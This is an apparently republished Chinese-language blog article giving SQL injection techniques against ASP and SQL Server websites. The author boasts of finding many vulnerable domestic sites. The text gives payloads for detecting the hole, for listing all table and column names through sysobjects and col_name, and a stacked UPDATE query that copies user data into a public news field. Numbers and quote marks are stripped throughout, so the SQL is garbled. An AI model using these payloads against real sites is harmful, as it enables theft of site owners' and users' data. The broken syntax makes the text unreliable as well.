潛心研究sql injection一個余月發現國內存在sql injection漏洞的網站一大把一大把%以上的asp網站都似乎是不學無術騙吃騙喝的程序員所做不光漏洞多而且網站內部結構也是零亂無比……
關於sql injection網上流傳甚廣的SQL注入天書可以說是非常不錯的入門介紹了在這裡也要重復一些老套的手法
首先上手的都是==的方法測試驗證漏洞字符則用 or = or =
而sql server特別的還有user>db_name()>但是這些手法都只是檢測漏洞的方法真正有用的在下面
獲得所有的Table表名
(Select distinct Top name from sysobjects where xtype=U and status> and name not in (select distinct top iname from sysobjects where xtype=U and status> order by name) order by name)>
i為一個整數i取時返回第一個table name(按表名排序)返回第二個依此類推直到什麼都沒有返回為止
得到表名後再獲得字段名(field name)
(Select Top col_name(object_id(TableName)i) from sysobjects)>
這一句返回TableName這個表裡第i個字段的名字
得到所有的表名以及裡面字段名估計對這個網站的結構也就有相應的了解了然後怎樣獲得字段中的數據呢?
如果是字符串自然用>的技倆如果是其它類型那就找一個新聞之類的表再用
;update news set caption=(select username from users where id=) where newsid=; 之類的方法把你要的數據寫出來這樣基本上就沒有你不知道的內容了
我自己用VB做了個軟件自動獲得表名和字段名速度極快瞬間整個數據庫的結構就出來了
當然這些不過是sql語句的構造而已沒什麼過多的技術另外這一個網頁也是sql server injection必備的喲
From:http://tw.wingwit.com/Article/program/SQLServer/201311/22198.html